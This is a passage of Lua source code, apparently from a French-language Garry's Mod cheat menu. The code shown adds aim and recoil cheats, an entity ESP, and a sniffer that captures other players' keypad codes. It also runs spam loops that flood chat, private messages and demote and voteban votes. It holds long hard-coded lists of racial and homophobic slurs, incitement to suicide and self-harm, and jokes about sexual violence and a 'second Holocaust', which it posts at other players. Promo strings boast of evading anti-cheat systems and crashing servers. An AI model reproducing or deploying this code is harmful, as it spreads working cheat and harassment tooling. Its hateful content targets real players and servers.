  3313. if istable( v ) then MsgC( v[2], v[1].."\n" ) else MsgN( v ) end
  3314. end
  3315. end)
  3316. ZNX.ScannerButton2 = ZNX.MakeFloatingButton( ScrW() / 2 - 180, (ScrH() / 2) - 20, "Ajouter a l'ESP", function()
  3317. if table.HasValue( ZNX.MarkedEnts, ZNX.EntScannerEnt:GetClass() ) then ZNX.ChatText( "Deja ajouter!", Color(255,205,205) ) return end
  3318. ZNX.ChatText( "Ajouter "..ZNX.EntScannerEnt:GetClass().." au entit�", Color(255,255,255) )
  3319. table.insert(ZNX.MarkedEnts, ZNX.EntScannerEnt:GetClass())
  3320. end)
  3321. ZNX.ChatText( "Entity Scanner Activer", Color(255,255,255) )
  3322. else
  3323. ZNX.EntScanner = false
  3324. ZNX.ChatText( "Entity Scanner D�sactiver", Color(255,205,205) )
  3325. if ZNX.ScannerButton1 then ZNX.ScannerButton1:Remove() end
  3326. if ZNX.ScannerButton2 then ZNX.ScannerButton2:Remove() end
  3327. end
  3328. end
  3329. ZNX.MouseReleased = false
  3330. function ZNX.ToggleFreeMouse()
  3331. if !ZNX.MouseReleased then
  3332. gui.EnableScreenClicker( true )
  3333. ZNX.MouseReleased = true
  3334. else
  3335. gui.EnableScreenClicker( false )
  3336. ZNX.MouseReleased = false
  3337. end
  3338. end
  3339. concommand.Add("LokiDev_toggle_mouse_cursor", ZNX.ToggleFreeMouse)
  3340. function ZNX.CalcView( ply, pos, angles, fov )
  3341. local me = LocalPlayer()
  3342. if !me:IsValid() or !me:Alive() or me:GetViewEntity() != me or me:InVehicle() then return end
  3343. local tps = {}
  3344. if ZNX.Vars.SilentAim and !ZNX.Vars.Thirdperson and lastoldang and isangle( lastoldang ) then
  3345. tps.origin = me:EyePos()
  3346. tps.angles = lastoldang
  3347. tps.fov = fov
  3348. return tps
  3349. end
  3350. if ZNX.Vars.NoRecoil and !ZNX.Vars.Thirdperson and !ZNX.Enabled then
  3351. -- tps.origin = me:EyePos()
  3352. tps.angles = me:EyeAngles()
  3353. -- tps.fov = fov
  3354. local ply = LocalPlayer()
  3355. local weapon = ply:GetActiveWeapon()
  3356. if weapon.Primary then
  3357. if weapon.Primary.Recoil then
  3358. weapon.Primary.Recoil = 0
  3359. end
  3360. if weapon.Primary.KickUp then
  3361. weapon.Primary.KickUp = 0
  3362. weapon.Primary.KickDown = 0
  3363. weapon.Primary.KickHorizontal = 0
  3364. end
  3365. end
  3366. return tps
  3367. end
  3368. if ZNX.Vars.Thirdperson then
  3369. if ZNX.RenderPanic then return end
  3370. local trace = util.TraceLine( { start = pos - ply:GetForward() * 2, endpos = pos - angles:Forward() * ZNX.NumberVars.TPSDistance, filter = player.GetAll(), mask = MASK_SHOT } )
  3371. tps.origin = trace.HitPos + ply:GetForward() * 20 + ply:GetRight() * ZNX.NumberVars.TPSOffset
  3372. tps.angles = angles
  3373. tps.fov = fov
  3374. return tps
  3375. end
  3376. end
  3377. hook.Add("CalcView", "znx_calcview", ZNX.CalcView)
  3378. function ZNX.ICanSeeMyAss( ply )
  3379. if ZNX.Vars.Thirdperson then return true end
  3380. return false
  3381. end
  3382. hook.Add("ShouldDrawLocalPlayer", "znx_drawplayer", ZNX.ICanSeeMyAss)
  3383. -- it would be very wise to keep this D�sactiver for now
  3384. --[[
  3385. function ZNX.Transparency()
  3386. if ZNX.Vars.XrayProps then
  3387. for k, v in pairs(ents.GetAll()) do
  3388. render.SuppressEngineLighting( true )
  3389. end
  3390. end
  3391. end
  3392. hook.Add("RenderScene", "znx_transparency", ZNX.Transparency)
  3393. --]]
  3394. function ZNX.CheckWitnesses()
  3395. if !ZNX.Vars.WitnessDetector then return end
  3396. ZNX.Witnesses = {}
  3397. for k, v in pairs(player.GetAll()) do
  3398. if v:IsValid() and v != LocalPlayer() then
  3399. local Trace = {}
  3400. Trace.start = LocalPlayer():EyePos() + Vector(0, 0, 32)
  3401. Trace.endpos = v:EyePos() + Vector(0, 0, 32)
  3402. Trace.filter = {v, LocalPlayer()}
  3403. TraceRes = util.TraceLine(Trace)
  3404. if !TraceRes.Hit then
  3405. if (v:EyeAngles():Forward():Dot((LocalPlayer():EyePos() - v:EyePos())) > math.cos(math.rad(45))) then
  3406. if !table.HasValue(ZNX.Witnesses, v) then table.insert( ZNX.Witnesses, v ) end
  3407. end
  3408. end
  3409. end
  3410. end
  3411. end
  3412. timer.Create("znx_WitnessCheck", 0.5, 0, ZNX.CheckWitnesses)
  3413. function ZNX.XrayShutoff()
  3414. for k, v in pairs(ents.GetAll()) do
  3415. v:SetColor(Color(255,255,255,255))
  3416. end
  3417. end
  3418. local demotereasons = {
  3419. "N�gre",
  3420. "Fils de putain",
  3421. "T�te de bite",
  3422. "Sale Gay",
  3423. "Batard",
  3424. "Salope",
  3425. "Abruti",
  3426. "Blaireau",
  3427. "Sac a merde",
  3428. "Trou du cul",
  3429. "Serveur de merde",
  3430. "Con comme ses pieds",
  3431. "Bougnoul",
  3432. "Con comme une chaise",
  3433. "Con comme une valise sans poign�e",
  3434. "Envaselineur",
  3435. "Fils de chienne",
  3436. }
  3437. ------------------------------------------------------------------------INSULT GENERATOR--------------------------------------------------------------------------------------
  3438. local openers = {
  3439. "va te faire baiser",
  3440. "mange merde",
  3441. "encule un babouin",
  3442. "meurent dans un incendie",
  3443. "gaz toi",
  3444. "assis toi sur un cisaille de jardinier",
  3445. "pousse une brique dans ton cul",
  3446. "avale des barbel�s",
  3447. "d�gage en Su�de",
  3448. "encule un cochon",
  3449. "Incline toi devant moi",
  3450. "suce mes boule en sueur",
  3451. "revient quand tu ne sera plus un d�chets",
  3452. "je pisserai sur tout ce que tu aime",
  3453. "suicide toi",
  3454. "pends toi",
  3455. "�touffe-toi avec ta bite",
  3456. "sort la de ton cul",
  3457. "assis toi sur une bite de cheval",
  3458. "fait toi viol�",
  3459. "fait toi violer par des n�gres",
  3460. "ta m�re est une putain",
  3461. "viens a moi",
  3462. "pourquoi tu ne t'es pas encore suicid�",
  3463. "pourquoi tu existe ?",
  3464. "explose toi les couilles avec un fusil",
  3465. "fait toi st�riliser",
  3466. "converti toi a l'islam",
  3467. "bois de l'eau de javel",
  3468. "supprime toi",
  3469. "�touffe toi sur une bite des baleine",
  3470. "suce de la merde",
  3471. "suce une bite",
  3472. "l�che mon sphincter",
  3473. "mets-toi le feu",
  3474. "fait toi battre a mort par ton p�re",
  3475. "�touffer toi sur la bite de ton oncle",
  3476. "va te faire �craser par une f�ministe de 200 kg",
  3477. "rejoin daesh",
  3478. "enfonce ta bite dans un mixeur",
  3479. "fait une overdose de meth",
  3480. "allonge toi sous un camion",
  3481. "l�che une prise �lectrique",
  3482. "avale des charbons ardents",
  3483. "meurent lentement",
  3484. "fait toi exploser",
  3485. "fait toi tirer dans un bar gay",
  3486. "bois ton foutre",
  3487. "�pouse un musulman",
  3488. "frotte ta bite sur une r�pe a fromage",
  3489. "enveloppe un r�teau avec du fil barbel� et rentre le dans ton cul",
  3490. }
  3491. local buyourshitfaggot = {
  3492. "VAC + HAC + SAC : NON D�TECT�",
  3493. "DEVIENT UN MEILLEUR JOUEUR",
  3494. "EX�CUTEZ TOUTS LES SCRIPTS LUA : NON D�TECT�",
  3495. "SOYEZ LE MEILLEUR QUAND VOUS ACHETEZ LE MEILLEUR",
  3496. "FAITE PLEURER LES ENFANTS EN DARKRP",
  3497. "D�MOLIR LE LUA",
  3498. "ENVOYER LES NOOBS DANS LA SALET�",
  3499. "FAITE CRASH LES SERVEURS",
  3500. "HACK PARTOUT, N'IMPORTE QUAND, N'IMPORTE QUI",
  3501. "D�TRUIRE TOUS LES ANTICHEATS",
  3502. "D�TEND LES F�MINISTES",
  3503. "LANCER UN SECOND HOLOCAUSTE",
  3504. "FATIGU� D'�TRE UN PUTAIN DE PERDANT ?",
  3505. "DEVIENT UNBANNISSABLE",
  3506. "#1 CAUSE DES SUICIDES D'ADMIN",
  3507. "PAS DE GROSSE",
  3508. "AIME-TU TRICHER ?",
  3509. "ETRE R�GLO C'EST POUR LES PERDANTS",
  3510. "VOS LOOSERS DE PARENTS NE VOUS ONT JAMAIS ACHET� DE JOUETS CES COOL",
  3511. }
  3512. function ZNX.GenerateInsult()
  3513. return table.Random(openers)
  3514. end
  3515. function ZNX.GeneratePromo()
  3516. return table.Random(buyourshitfaggot).." --> NIQUE TA MERE"
  3517. end
  3518. function ZNX.FormatChatString( str )
  3519. str = string.Replace( str, "@1", ZNX.GenerateInsult() )
  3520. str = string.Replace( str, "@PrenezLokidevMenu", ZNX.GeneratePromo() )
  3521. return str
  3522. end
  3523. concommand.Add("LokiDev_insult", function() LocalPlayer():ConCommand("say "..ZNX.GenerateInsult() ) end)
  3524. concommand.Add("LokiDev_chatspam_once", function()
  3525. local txt = ZNX.ChatSpamText
  3526. if ZNX.Vars.ChatSpamOOC then txt = "// "..txt end
  3527. txt = ZNX.FormatChatString( txt )
  3528. if ZNX.Vars.ChatSpamPM then
  3529. for _, p in pairs(player.GetAll()) do
  3530. if !ZNX.Vars.ChatSpamPMAdmins and ZNX.GetRank( p ) != ( "user" or "guest" or "player" ) then continue end
  3531. RunConsoleCommand("ulx", "psay", p:Nick(), txt)
  3532. end
  3533. else
  3534. RunConsoleCommand("say", txt)
  3535. end
  3536. end)
  3537. --ZNX.CurrentBase = 0
  3538. --ZNX.BaseAreaSize = 2000
  3539. function ZNX.SetBase()
  3540. ZNX.ChatText( "Set base location", Color(255,255,255) )
  3541. ZNX.CurrentBase = LocalPlayer():GetPos()
  3542. end
  3543. concommand.Add( "LokiDev_base_set", ZNX.SetBase )
  3544. function ZNX.UnsetBase()
  3545. ZNX.ChatText( "Removed base", Color(255,255,255) )
  3546. ZNX.CurrentBase = 0
  3547. end
  3548. concommand.Add( "LokiDev_base_remove", ZNX.UnsetBase )
  3549. function ZNX.SetBaseSize( p, cmd, arg, astr )
  3550. if !tonumber( arg[1] ) then ZNX.ChatText( "Veuillez sp�cifier un rayon de base valide en m�tres", Color(255,205,205) ) return end
  3551. ZNX.ChatText( "Rayon de proximit� de la base d�fini sur "..arg[1].."m", Color(255,255,255) )
  3552. ZNX.BaseAreaSize = arg[1]
  3553. end
  3554. concommand.Add( "LokiDev_base_setsize", ZNX.SetBaseSize )
  3555. local elements = {
  3556. { -- Screen
  3557. x = 0.075,
  3558. y = 0.04,
  3559. w = 0.85,
  3560. h = 0.25,
  3561. },
  3562. { -- ABORT
  3563. x = 0.075,
  3564. y = 0.04 + 0.25 + 0.03,
  3565. w = 0.85 / 2 - 0.04 / 2 + 0.05,
  3566. h = 0.125,
  3567. text = "ABORT",
  3568. },
  3569. { -- OK
  3570. x = 0.5 + 0.04 / 2 + 0.05,
  3571. y = 0.04 + 0.25 + 0.03,
  3572. w = 0.85 / 2 - 0.04 / 2 - 0.05,
  3573. h = 0.125,
  3574. text = "OK",
  3575. }
  3576. }
  3577. do -- Create numbers
  3578. for i = 1, 9 do
  3579. local column = (i - 1) % 3
  3580. local row = math.floor((i - 1) / 3)
  3581. local element = {
  3582. x = 0.075 + (0.3 * column),
  3583. y = 0.175 + 0.25 + 0.05 + ((0.5 / 3) * row),
  3584. w = 0.25,
  3585. h = 0.13,
  3586. text = tostring(i),
  3587. }
  3588. table.insert(elements, element)
  3589. end
  3590. end
  3591. function ZNX.CalculateKeypadCursorPos(ply, ent)
  3592. if !ply:IsValid() then return end
  3593. local tr = util.TraceLine( { start = ply:EyePos(), endpos = ply:EyePos() + ply:GetAimVector() * 65, filter = ply } )
  3594. if !tr.Entity or tr.Entity ~= ent then return 0, 0 end
  3595. local scale = ent.Scale
  3596. if !scale then return 0, 0 end
  3597. local pos, ang = ent:CalculateRenderPos(), ent:CalculateRenderAng()
  3598. if !pos or !ang then return 0, 0 end
  3599. local normal = ent:GetForward()
  3600. local intersection = util.IntersectRayWithPlane(ply:EyePos(), ply:GetAimVector(), pos, normal)
  3601. if !intersection then return 0, 0 end
  3602. local diff = pos - intersection
  3603. local x = diff:Dot( -ang:Forward() ) / scale
  3604. local y = diff:Dot( -ang:Right() ) / scale
  3605. return x, y
  3606. end
  3607. function ZNX.KPGetHoveredElement(ply, ent)
  3608. local scale = ent.Scale
  3609. local w, h = ent.Width2D, ent.Height2D
  3610. local x, y = ZNX.CalculateKeypadCursorPos(ply, ent)
  3611. for _, element in ipairs(elements) do
  3612. local element_x = w * element.x
  3613. local element_y = h * element.y
  3614. local element_w = w * element.w
  3615. local element_h = h * element.h
  3616. if element_x < x and element_x + element_w > x and
  3617. element_y < y and element_y + element_h > y
  3618. then
  3619. return element
  3620. end
  3621. end
  3622. end
  3623. ZNX.ShekelGrabbers = {}
  3624. local nxsuicidemsg = 0
  3625. function ZNX.Logic()
  3626. local me = LocalPlayer()
  3627. if !me:IsValid() then return end
  3628. local lmemfootprint = gcinfo()
  3629. for k, v in pairs(player.GetAll()) do
  3630. -- spectator detector
  3631. if( v:GetObserverTarget() and v != me and v:GetObserverTarget() == me and !table.HasValue( ZNX.TheyHaveEyesEverywhere, v ) ) then
  3632. surface.PlaySound("buttons/bell1.wav")
  3633. ZNX.ChatText( v:Nick().." te regarde en sp�ctateur!", Color(255,100,0) )
  3634. table.insert( ZNX.TheyHaveEyesEverywhere, v )
  3635. end
  3636. if ZNX.Vars.DodgeArrest then
  3637. if v != me and v:EyePos():Distance( me:GetPos() ) < 120 and me:Alive() and ( v:GetActiveWeapon() and v:GetActiveWeapon():IsValid() and v:GetActiveWeapon():GetClass() == "arrest_stick" ) then
  3638. if nxsuicidemsg <= CurTime() then
  3639. ZNX.ChatText( "Automatiquement suicid� pour �viter d'�tre arr�t� par "..v:Nick(), Color(255,255,255) )
  3640. nxsuicidemsg = CurTime() + 1
  3641. end
  3642. RunConsoleCommand( "kill" )
  3643. end
  3644. end
  3645. if ZNX.Vars.KeypadJew then
  3646. local kp = v:GetEyeTrace().Entity
  3647. if IsValid(kp) && IsValid(v) and string.find( kp:GetClass(), "Keypad") and v:EyePos():Distance(kp:GetPos()) <= 120 then
  3648. kp.tempCode = kp.tempCode or ""
  3649. kp.tempText = kp.tempText or ""
  3650. kp.tempStatus = kp.tempStatus or 0
  3651. if kp:GetText() != kp.tempText or kp:GetStatus() != kp.tempStatus then
  3652. kp.tempText = kp:GetText()
  3653. kp.tempStatus = kp:GetStatus()
  3654. if(kp.tempText && !kp:GetSecure()) then
  3655. kp.tempCode = kp.tempText
  3656. timer.Simple(0, function()
  3657. if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
  3658. kp.code = kp.tempCode
  3659. end
  3660. end)
  3661. else
  3662. local i = ZNX.KPGetHoveredElement(v, kp)
  3663. if (i) then i = i.text end
  3664. if kp.tempText then
  3665. timer.Simple(0, function()
  3666. if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
  3667. kp.code = kp.tempCode
  3668. end
  3669. end)
  3670. end
  3671. if kp.tempText == "" || kp:GetStatus() == 2 then
  3672. kp.tempCode = ""
  3673. end
  3674. timer.Simple(0, function()
  3675. if(tonumber(i) && kp:GetText():len() != 0) then
  3676. kp.tempCode = kp.tempCode..i
  3677. end
  3678. end)
  3679. end
  3680. end
  3681. end
  3682. end
  3683. if isvector( ZNX.CurrentBase ) then
  3684. --if v == me then continue end
  3685. if ZNX.ToMetric( v:GetPos():Distance( ZNX.CurrentBase ) ) < tonumber(ZNX.BaseAreaSize+ ZNX.NumberVars.AreaScrollerSize) then
  3686. if !table.HasValue( ZNX.ShekelGrabbers, v ) then
  3687. surface.PlaySound("buttons/bell1.wav")
  3688. if v == me then
  3689. ZNX.ChatText( "Vous etes entr� dans votre Zone!", Color(150,150,150) )
  3690. else
  3691. ZNX.ChatText( v:Nick().." es entr� dans votre Zone!", Color(255,205,0) )
  3692. end
  3693. table.insert( ZNX.ShekelGrabbers, v )
  3694. end
  3695. elseif table.HasValue( ZNX.ShekelGrabbers, v ) and ZNX.ToMetric( v:GetPos():Distance( ZNX.CurrentBase ) ) > tonumber(ZNX.BaseAreaSize+ ZNX.NumberVars.AreaScrollerSize) then
  3696. if v == me then
  3697. ZNX.ChatText( "Vous avez quitt� votre Zone", Color(150,150,150) )
  3698. else
  3699. ZNX.ChatText( v:Nick().." a quitt� votre Zone", Color(100,255,100) )
  3700. end
  3701. table.RemoveByValue( ZNX.ShekelGrabbers, v )
  3702. end
  3703. else
  3704. ZNX.ShekelGrabbers = {}
  3705. end
  3706. end
  3707. for k,v in pairs( ZNX.TheyHaveEyesEverywhere ) do
  3708. if( !IsValid( v ) ) then table.remove( ZNX.TheyHaveEyesEverywhere, k ) continue end
  3709. if( !v:GetObserverTarget() or ( v:GetObserverTarget() and v:GetObserverTarget() != me ) ) then
  3710. ZNX.ChatText( v:Nick().." a arreter de vous spectate!", Color(100,255,100) )
  3711. table.remove( ZNX.TheyHaveEyesEverywhere, k )
  3712. end
  3713. end
  3714. if ZNX.Vars.ChatSpam then
  3715. if ZNX.Vars.ChatSpamBind and !me:KeyDown(IN_WALK) then return end
  3716. local txt = ZNX.ChatSpamText
  3717. if ZNX.Vars.ChatSpamOOC then txt = "// "..txt end
  3718. txt = ZNX.FormatChatString( txt )
  3719. if ZNX.Vars.ChatSpamPM then
  3720. for _, p in pairs(player.GetAll()) do
  3721. if !ZNX.Vars.ChatSpamPMAdmins and ZNX.GetRank( p ) != ( "user" or "guest" or "player" ) then continue end
  3722. RunConsoleCommand("ulx", "psay", p:Nick(), txt)
  3723. end
  3724. else
  3725. RunConsoleCommand("say", txt)
  3726. end
  3727. end
  3728. if ZNX.Vars.DemoteSpam or ZNX.Vars.WantedSpam or ZNX.Vars.ULXVotekickSpam or ZNX.Vars.ULXVotebanSpam then
  3729. for k, v in RandomPairs(player.GetAll()) do
  3730. if ZNX.IsFriend( v ) or v == me then continue end
  3731. local fag1, fag2 = table.Random( demotereasons )
  3732. if ZNX.Vars.DemoteSpam then RunConsoleCommand( "darkrp", "demote", v:Nick(), fag1 ) end
  3733. if ZNX.Vars.WantedSpam then RunConsoleCommand( "darkrp", "wanted", v:Nick(), fag1 ) end
  3734. if ZNX.Vars.ULXVotekickSpam then RunConsoleCommand( "ulx", "votekick", v:Nick(), fag1 ) end
  3735. if ZNX.Vars.ULXVotebanSpam then RunConsoleCommand( "ulx", "voteban", v:Nick(), "0" ) end
  3736. end
  3737. end
  3738. if ZNX.Vars.FlashlightSpam then
  3739. if input.IsKeyDown(KEY_F) then me:ConCommand("impulse 100") end
  3740. end
  3741. ZNX.MemoryDebug["logic"] = gcinfo() - lmemfootprint
  3742. end
  3743. hook.Add("Think", "znx_logic", ZNX.Logic)
  3744. function ZNX.PKTube()
  3745. local oldwep = false
  3746. if !LocalPlayer():IsOnGround() then ZNX.ChatText( "Vous ne pouvez pas lancer le tube quand vous n'�tes pas au sol!", Color(255,100,0) ) return end
  3747. if !LocalPlayer():HasWeapon("weapon_physgun") then ZNX.ChatText( "Vous n'avez pas de physgun!", Color(255,100,0) ) return end
  3748. if LocalPlayer():GetActiveWeapon():GetClass() != "weapon_physgun" then RunConsoleCommand( "use", "weapon_physgun" ) oldwep = true end
  3749. ZNX.EyeAngles( LocalPlayer():EyeAngles() - Angle(-180,0,0) )
  3750. ZNX.ActionTimer( 0.05, function() RunConsoleCommand( "gm_spawn", "models/props_phx/construct/concrete_pipe01.mdl") end)
  3751. ZNX.ActionTimer( 0.05, function() ZNX.EyeAngles( LocalPlayer():EyeAngles() - Angle(120,0,0) ) end)
  3752. ZNX.ActionTimer( 0.1, function() RunConsoleCommand( "+attack") end)
  3753. ZNX.ActionTimer( 0.05, function() ZNX.ScrollDelta = 100 end)
  3754. ZNX.ActionTimer( 0.1, function() RunConsoleCommand( "-attack") ZNX.ScrollDelta = 0 end)
  3755. if oldwep then
  3756. ZNX.ActionTimer( 0.01, function() RunConsoleCommand( "lastinv") end)
  3757. end
  3758. ZNX.ActionTimer( 0.1, function() RunConsoleCommand( "undo") end, true)
  3759. end
  3760. concommand.Add("LokiDev_pk_tubelaunch", ZNX.PKTube)
  3761. function ZNX.PK180()
  3762. ZNX.EyeAngles( Angle(LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 180, LocalPlayer():EyeAngles().r) )
  3763. end
  3764. concommand.Add("LokiDev_pk_180", ZNX.PK180)
  3765. function ZNX.PK180Up()
  3766. --ZNX.EyeAngles( Angle(LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 180, LocalPlayer():EyeAngles().r) )
  3767. ZNX.EyeAngles( Angle( -LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 180, LocalPlayer():EyeAngles().r) )
  3768. RunConsoleCommand( "+jump")
  3769. timer.Simple(0.1, function() RunConsoleCommand( "-jump") end)
  3770. end
  3771. concommand.Add("LokiDev_pk_180up", ZNX.PK180Up)
  3772. function ZNX.ClimbSwep()
  3773. local oldang = LocalPlayer():EyeAngles()
  3774. ZNX.EyeAngles( Angle( -LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 90, LocalPlayer():EyeAngles().r) )
  3775. timer.Simple(0.15, function() ZNX.EyeAngles( oldang ) end)
  3776. end
  3777. concommand.Add("LokiDev_climbswep", ZNX.ClimbSwep)
  3778. function ZNX.EyeAngles( ang )
  3779. local ang = Angle(math.Clamp(ang.p, -90, 90), ang.y, ang.r)
  3780. ang:Normalize()
  3781. LocalPlayer():SetEyeAngles(ang)
  3782. end
  3783. local actiontime = 0
  3784. function ZNX.ActionTimer( delay, func, terminate )
  3785. terminate = terminate or false
  3786. actiontime = actiontime + delay + (LocalPlayer():Ping() / 1000)
  3787. timer.Simple( actiontime, func)
  3788. if terminate then actiontime = 0 end
  3789. end
  3790. function ZNX.CanSee( ply )
  3791. local Trace = util.TraceLine( {
  3792. start = LocalPlayer():GetShootPos(),
  3793. endpos = ZNX.FindTargetPosition( ply ),
  3794. mask = MASK_SHOT,
  3795. filter = { LocalPlayer(), ply }
  3796. } )
  3797. return !Trace.Hit
  3798. end
  3799. ------------------------------------------------------------------------PROPKILL UTILS--------------------------------------------------------------------------------------
  3800. function ZNX.PhysgunPickup( p, e )
  3801. if ZNX.Vars.DontTouchMeThere and e == LocalPlayer() then RunConsoleCommand( "kill" ) end
  3802. ZNX.HoldingProp = e
  3803. end
  3804. function ZNX.PhysgunDrop( p, e )
  3805. -- ZNX.HoldingProp = game.GetWorld()
  3806. end
  3807. hook.Add( "PhysgunPickup", "znx_physgun", ZNX.PhysgunPickup )
  3808. hook.Add( "PhysgunDrop", "znx_physgun", ZNX.PhysgunDrop )
  3809. ------------------------------------------------------------------------WEAPON INSPECTOR--------------------------------------------------------------------------------------
  3810. local function gaytext( parent, text, vpos, color )
  3811. local ABLabel = vgui.Create( "DLabel", parent )
  3812. ABLabel:SetFont( "TargetID" )
  3813. ABLabel:SetPos( 20, vpos)
  3814. ABLabel:SetColor( color )
  3815. ABLabel:SetText( text )
  3816. ABLabel:SizeToContents()
  3817. end
  3818. local overrides = {
  3819. ["weapon_crowbar"] = {
  3820. Damage = 25,
  3821. NumShots = 1,
  3822. ClipSize = 1,
  3823. Delay = 0.404
  3824. },
  3825. ["weapon_stunstick"] = {
  3826. Damage = 40,
  3827. NumShots = 1,
  3828. ClipSize = 1,
  3829. Delay = 0.81
  3830. },
  3831. ["weapon_pistol"] = {
  3832. Damage = 12,
  3833. NumShots = 1,
  3834. ClipSize = 18,
  3835. Ammo = "pistol",
  3836. Delay = 0.12,
  3837. },
  3838. ["weapon_357"] = {
  3839. Damage = 75,
  3840. NumShots = 1,
  3841. ClipSize = 6,
  3842. Ammo = "357",
  3843. Delay = 0.75,
  3844. },
  3845. ["weapon_smg1"] = {
  3846. Damage = 12,
  3847. NumShots = 1,
  3848. ClipSize = 45,
  3849. Ammo = "SMG1",
  3850. Delay = 0.075,
  3851. },
  3852. ["weapon_shotgun"] = {
  3853. Damage = 4,
  3854. NumShots = 7,
  3855. ClipSize = 6,
  3856. Ammo = "buckshot",
  3857. Delay = 0.9,
  3858. },
  3859. ["weapon_ar2"] = {
  3860. Damage = 11,
  3861. NumShots = 1,
  3862. ClipSize = 30,
  3863. Delay = 0.105,
  3864. },
  3865. ["weapon_crossbow"] = {
  3866. Damage = 100,
  3867. NumShots = 1,
  3868. ClipSize = 1,
  3869. Delay = 1.95,
  3870. },
  3871. ["weapon_rpg"] = {
  3872. Damage = 150,
  3873. NumShots = 1,
  3874. ClipSize = 1,
  3875. Delay = 2.2,
  3876. },
  3877. ["weapon_frag"] = {
  3878. Damage = 150,
  3879. NumShots = 1,
  3880. ClipSize = 1,
  3881. Delay = 1.95,
  3882. },
  3883. ["fas2_rem870"] = {
  3884. Delay = .86,
  3885. },
  3886. ["fas2_ks23"] = {
  3887. Delay = 1.11,
  3888. },
  3889. ["fas2_m67"] = {
  3890. Damage = 160,
  3891. Delay = 1.75,
  3892. },
  3893. }
  3894. local ammostrings = {
  3895. pistol = "HL2 Pistol",
  3896. smg1 = "HL2 SMG",
  3897. ar2 = "HL2 Pulse Rifle",
  3898. ["357"] = "HL2 Magnum",
  3899. buckshot = "HL2 Shotgun",
  3900. rpg_round = "HL2 Rocket",
  3901. }
  3902. function ZNX.GunMenu()
  3903. if GMenu then return end
  3904. local GMenu = vgui.Create("DFrame")
  3905. GMenu:SetSize(590,520)
  3906. GMenu:SetTitle("Inspection de votre arme")
  3907. GMenu:Center()
  3908. GMenu:MakePopup()
  3909. GMenu.Paint = function(panel, w, h)
  3910. surface.SetDrawColor( ZNX.DefaultScheme )
  3911. surface.DrawRect( 0, 0, w, h )
  3912. surface.SetDrawColor( Color(155, 155, 155, 255) )
  3913. surface.DrawOutlinedRect( 0, 0, w, h )
  3914. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  3915. surface.SetDrawColor( Color(0, 0, 0, 255) )
  3916. surface.DrawRect( 10, 25, w - 20, h - 35 )
  3917. end
  3918. local gun = LocalPlayer():GetActiveWeapon()
  3919. if !gun:IsValid() then return end
  3920. local m9gay = false
  3921. local fas = false
  3922. local cw2 = false
  3923. if gun.Base == "bobs_gun_base" or gun.Base == "bobs_shotty_base" or gun.Base == "bobs_scoped_base" then m9gay = true end
  3924. if gun.Base == "fas2_base" or gun.Base == "fas2_base_shotgun" then fas = true end
  3925. if gun.Base == "cw_base" then cw2 = true end
  3926. gaytext( GMenu, "Nom de l'Arme: "..gun:GetPrintName(), 30, Color(205,225,255,255) )
  3927. gaytext( GMenu, "Classe d'Arme: "..gun:GetClass(), 50, Color(105,225,255,255) )
  3928. //////////////////////////////// hl2 guns ////////////////////////////////
  3929. if !gun.Primary then gun.Primary = {} end
  3930. if overrides[gun:GetClass()] then
  3931. local tab = overrides[gun:GetClass()]
  3932. for k, v in pairs(tab) do
  3933. gun.Primary[k] = v
  3934. end
  3935. end
  3936. //////////////////////////////// weapon stat workarounds ////////////////////////////////
  3937. local delay = 0
  3938. if gun.Primary.Delay then
  3939. delay = gun.Primary.Delay
  3940. elseif m9gay then
  3941. delay = 60 / gun.Primary.RPM
  3942. elseif fas or cw2 then
  3943. delay = gun.FireDelay
  3944. end
  3945. local gdmg = 0
  3946. if gun.Primary.Damage then
  3947. gdmg = gun.Primary.Damage
  3948. elseif fas or cw2 then
  3949. gdmg = gun.Damage
  3950. end
  3951. local gnumshots = 1
  3952. if gun.Primary.NumShots then
  3953. gnumshots = gun.Primary.NumShots
  3954. elseif fas or cw2 then
  3955. gnumshots = gun.Shots or 1
  3956. end
  3957. local gcone = 0
  3958. if gun.Primary.Cone then
  3959. gcone = gun.Primary.Cone
  3960. elseif m9gay then
  3961. gcone = gun.Primary.Spread
  3962. elseif fas then
  3963. gcone = gun.HipCone or 0
  3964. elseif cw2 then
  3965. gcone = gun.HipSpread or 0
  3966. end
  3967. local grecoil = 0
  3968. if gun.Primary.Recoil then
  3969. grecoil = gun.Primary.Recoil
  3970. elseif m9gay then
  3971. grecoil = gun.Primary.KickUp
  3972. elseif fas then
  3973. grecoil = gun.Recoil or 0
  3974. end
  3975. local voff = 90
  3976. gaytext( GMenu, "D�g�ts: "..(gdmg or "nil").." ( x"..(gnumshots or "nil").." ) -- ("..(gdmg * gnumshots).." Au total)", voff, Color(255,225,155,255) )
  3977. voff = voff + 20
  3978. if gun.Primary.ClipSize then
  3979. if gun.Primary.ClipSize == -1 then gun.Primary.ClipSize = 1 end
  3980. gaytext( GMenu, "D�g�ts par Chargeur: "..(gdmg * gnumshots) * gun.Primary.ClipSize, voff, Color(255,205,105,255) )
  3981. voff = voff + 20
  3982. end
  3983. gaytext( GMenu, "D�g�ts par Seconde: "..math.ceil(1 / delay * (gdmg * gnumshots)), voff, Color(255,155,85,255) )
  3984. voff = voff + 20
  3985. if gun.Primary.ClipSize then
  3986. gaytext( GMenu, "Chargeurs: "..(gun.Primary.ClipSize or "Aucun Chargeurs"), voff, Color(255,195,195,255) )
  3987. voff = voff + 20
  3988. gaytext( GMenu, "Temps de Rechargement: "..math.Round(gun.Primary.ClipSize * delay, 3).."s", voff, Color(255,95,155,255) )
  3989. voff = voff + 20
  3990. end
  3991. gaytext( GMenu, "Pr�cision: "..(10 - (gcone * 100) ), voff, Color(255,255,155,255) )
  3992. voff = voff + 20
  3993. if fas then
  3994. gaytext( GMenu, "Pr�cision en Vis�: "..(10 - (gun.AimCone or 0 * 100) ), voff, Color(155,255,155,255) )
  3995. voff = voff + 20
  3996. end
  3997. if cw2 then
  3998. gaytext( GMenu, "Pr�cision en Vis�: "..(10 - (gun.AimSpread or 0 * 100) ), voff, Color(155,255,155,255) )
  3999. voff = voff + 20
  4000. end
  4001. gaytext( GMenu, "Cadence de Tir: "..math.Round(delay, 3).." ( "..math.ceil(60 / delay).." Balles/Min )", voff, Color(255,255,155,255) )
  4002. voff = voff + 20
